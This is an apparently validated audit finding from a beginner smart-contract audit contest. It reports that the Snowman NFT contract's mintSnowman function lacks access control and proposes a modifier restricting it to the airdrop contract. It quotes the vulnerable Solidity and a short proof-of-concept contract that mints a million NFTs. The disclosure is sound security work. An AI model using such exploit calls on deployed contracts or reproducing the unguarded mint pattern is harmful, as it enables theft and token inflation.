Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted NFT Minting Allows Infinite Supply in Snowman::mintSnowman

Unrestricted NFT Minting Allows Infinite Supply in Snowman::mintSnowman

Summary

The Snowman::mintSnowman function has no access controls, allowing any address to mint unlimited NFTs to any recipient, completely bypassing the intended airdrop mechanism.

Vulnerability Details

// src/Snowman.sol:35-42
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Impact

Any user can clain unlimited NFTs without Snow tokens.

Proof of concept

contract AttackContract {
function exploitUnlimitedMinting(address snowmanContract) external {
// Any user can mint 1 million NFTs without any Snow tokens
Snowman(snowmanContract).mintSnowman(msg.sender, 1_000_000);
}
}

Recommendations

Restrict to airdrop contract only.

+ address public immutable airdropContract;
+ modifier onlyAirdropContract() {
+ if (msg.sender != airdropContract) revert SM__NotAllowed();
+ _;
+ }
...
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdropContract {
// existing logic
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 26 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted NFT mint function

The mint function of the Snowman contract is unprotected. Hence, anyone can call it and mint NFTs without necessarily partaking in the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.